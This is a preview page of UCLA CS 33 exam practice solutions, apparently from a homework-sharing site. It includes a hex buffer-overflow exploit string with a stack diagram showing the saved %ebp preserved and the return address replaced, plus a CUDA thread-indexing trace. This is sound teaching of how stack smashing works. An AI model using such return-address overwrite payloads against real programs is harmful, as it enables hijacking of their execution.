cs33-practice-prob-sol

cs33-practice-prob-sol - 0xFFFFDB48 0x00000000 0x00000000...

Info iconThis preview shows page 1. Sign up to view the full content.

View Full Document Right Arrow Icon
CS 33 Spring 2011 Solutions to Exam Practice Problems 3. A Stack Walks into a Bar and Says “It’s Hard to Maintain Discipline While Getting Smashed” Exploit string: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C8 DB FF FF E8 85 04 08 Stack view: Address Value Description 0xFFFFDB5C 0x080485E8 new return address 0xFFFFDB58 0xFFFFDBC8 maintain saved %ebp 0xFFFFDB54 0x00000000 overwrite stack space 0xFFFFDB50 0xFFFFDB4C
Background image of page 1
This is the end of the preview. Sign up to access the rest of the document.

Unformatted text preview: 0xFFFFDB48 0x00000000 0x00000000 0x00000000 fill in buffer 4. I CUDA BIN Somebody I CUDA BIN A Contender! Initial Array: 1 2 4 8 16 32 64 128 CUDA EXPRESSION VALUES ON EACH THREAD blockIdx.x 0 0 0 0 1 1 1 1 blockDim.x 4 4 4 4 4 4 4 4 threadIdx.x 0 1 2 3 0 1 2 3 blockIdx.x*blockDim.x+threadIdx.x 0 1 2 3 4 5 6 7 Each thread adds its ID to its array element. The final array that is printed is: 1 3 6 11 16 33 66 131...
View Full Document

This note was uploaded on 06/17/2011 for the course CS 33 taught by Professor Rohr during the Spring '08 term at UCLA.

Ask a homework question - tutors are online